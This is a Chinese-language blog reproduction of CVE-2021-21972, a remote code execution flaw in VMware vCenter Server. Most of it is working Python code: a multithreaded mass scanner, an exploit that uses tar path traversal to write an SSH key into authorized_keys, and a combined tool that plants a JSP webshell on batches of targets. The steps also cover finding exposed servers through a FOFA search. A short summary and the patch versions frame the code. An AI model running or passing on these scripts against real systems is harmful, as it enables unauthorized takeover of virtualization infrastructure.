CVE-2021-21972 vSphere Client RCE复现

简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

漏洞分析

我太菜了,还是搬运一下大佬的分析吧:

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi

…此处省略一万字…

直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC

https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

该poc主要就是通过以下路径来进行判断, 如果返回405则表示该漏洞存在:

1
/ui/vropspluginui/rest/services/uploadova

POC代码如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python3
# -*- coding=utf-8 -*-
#-*- coding:utf-8 -*-
banner = """
        888888ba             dP                     
        88    `8b            88                     
       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 
        88   `8b. 88'  `88   88   Y8ooooo. 88    88 
        88    .88 88.  .88   88         88 88.  .88 
        88888888P `88888P8   dP   `88888P' `88888P' 
   ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
                @time:2021/02/24 CVE-2021-21972.py
                C0de by NebulabdSec - @batsu                  
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3
import socket
import socks

socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 1080)
socket.socket = socks.socksocket

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"


def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua


def CVE_2021_21972(url):
    # proxies = {"scoks5": "http://127.0.0.1:1080"}
    headers = {
        'User-Agent': get_ua(),
        "Content-Type": "application/x-www-form-urlencoded"
    }
    targetUrl = url + TARGET_URI
    try:
        res = requests.get(targetUrl,
                            headers=headers,
                            timeout=15,
                            verify=False)
                            # proxies=proxies)
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        # print(len(res.text))
        if res.status_code == 405:
            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
            # print("[+] Command success result: " + res.text + "\n")
            with open("存在vmware漏洞地址.txt", 'a+') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")


def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            # func_params = [i] + [cmd]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    if url != None and file_path ==None:
        CVE_2021_21972(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程


if __name__ == "__main__":
    main()

EXP

https://blog.csdn.net/weixin_43650289/article/details/114055417

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
        # 针对Linux有效的方式
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        # Windows 需要改一下
        #tarinfo = tarfile.TarInfo(name="..\\..\\ProgramData\\VMware\\vCenterServer\\data\\perfcharts\\tc-instance\\webapps\\statsreport\\test.jsp")

        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
        # windows下:
        #         print('shell地址:/statsreport/test.jsp')
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e

整合的POC&EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
import requests
import tarfile
import sys
import getopt
requests.packages.urllib3.disable_warnings()


proxy = {}

def poc(target):
	url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
	web = requests.get(url,verify=False,proxies=proxy)
	if web.status_code == 405:
		return True
	else:
		return False

def payload_linux(filename, payload_type):
	payload_path = '../../home/vsphere-ui/.ssh/authorized_keys' if payload_type=='ssh' else '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/test.jsp'
	payload_tar = tarfile.open('payload_linux.tar','w')
	for i in range(106):
		payload_tar.add(filename, arcname=payload_path % i)
	payload_tar.close()

def payload_win(filename):
	payload_path = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp'
	payload_tar = tarfile.open('payload_win.tar','w')
	payload_tar.add(filename, arcname=payload_path)
	payload_tar.close()


def send_payload(target, payload_type):
	url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
	files = {'uploadFile': ('1.tar', open('payload_linux.tar', 'rb'), 'application/octet-stream')}
	web = requests.post(url, files=files,verify=False,proxies=proxy)
	if web.status_code == 200:
		if web.text == 'SUCCESS':
			if payload_type == 'ssh':
				print('\t文件写入成功')
		if payload_type != 'ssh':
			webshell = (target + '/ui/resources/test.jsp').replace('//ui', '/ui')
			web = requests.get(webshell,verify=False,proxies=proxy)
			if web.status_code != 404:
				print('\twebshell地址:%s' % webshell)
				return True
	files = {'uploadFile': ('1.tar', open('payload_win.tar', 'rb'), 'application/octet-stream')}
	web = requests.post(url, files=files,verify=False,proxies=proxy)
	if web.status_code == 200:
		if web.text == 'SUCCESS':
			print('\t文件写入成功')
			webshell = (target + '/statsreport/test.jsp').replace('//statsreport', '/statsreport')
			web = requests.get(webshell,verify=False,proxies=proxy)
			if web.status_code != 404:
				print('\twebshell地址:%s' % webshell)
				with open("webshell地址.txt", "a+") as fff:
					fff.write('webshell地址:%s \n' % webshell)
				return True
	return False

def help():
	print(
	"""
	Usage:CVE-2021-21972.py [option]
	-u or --url:目标url
	-t or --type:攻击方式(ssh/webshell)
	-f or --file:要上传的文件(webshell或authorized_keys)	例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp
	-p or --proxy:设置代理	例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p http://127.0.0.1:8080
	-l or --list:批量检测	例如:CVE-2021-21972.py -l list.txt -t webshell -f shell.jsp
	"""
    )

if __name__ == "__main__":
	if len(sys.argv) == 1:
		help()
		sys.exit()

	try:
		opts, args = getopt.getopt(sys.argv[1:], "l:u:t:f:p:")
	except getopt.GetoptError:
		print("argv error,please input")
	targets = []
	payload_type = ''
	filename = ''
	for opt, arg in opts:
		if opt in ('-p', '--proxy'):
			proxy = {arg[:arg.find(':')]: arg}
	for opt, arg in opts:
		if opt in ('-l', '--list'):
			with open(arg, 'r') as t:
				for u in t.read().split('\n'):
					targets.append(u)
		elif opt in ('-u', '--url'):
			targets.append(arg)
	for opt, arg in opts:
		if opt in ('-t', '--type'):
			payload_type = arg
	for opt, arg in opts:
		if opt in ('-f', '--file'):
			filename = arg
	payload_linux(filename, payload_type)
	if payload_type != 'ssh':
		payload_win(filename)
	for target in targets:
		print('-' * 50)
		print('正在检测%s...' % target)
		if poc(target):
			if send_payload(target, payload_type):
				continue
		print('Failed')

漏洞复现

1.fofa搜索title="+ ID_VC_Welcome +"

可以用批量脚本通过fofa把所有搜索到的资产下载到本地

https://geoer666-1257264766.cos.ap-beijing.myqcloud.com/vmware_vul1.jpg

2.然后使用POC验证漏洞:

https://geoer666-1257264766.cos.ap-beijing.myqcloud.com/vmware_vul2.jpg

3.1 添加一个vsphere-ui用户:

1
adduser vsphere-ui

3.2 生成 ssh密钥

1
2
ssh-keygen -t rsa
# 然后复制公钥到上面的EXP中去

3.对于存在漏洞的资产,使用EXP上传tar文件

https://geoer666-1257264766.cos.ap-beijing.myqcloud.com/vmware_vul3.jpg

成功上传authorized_keys

4.ssh连接

也可以通过上传jsp小马等方式进行利用

漏洞修复

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

参考

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://www.cnblogs.com/cHr1s/p/14445759.html

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/

0%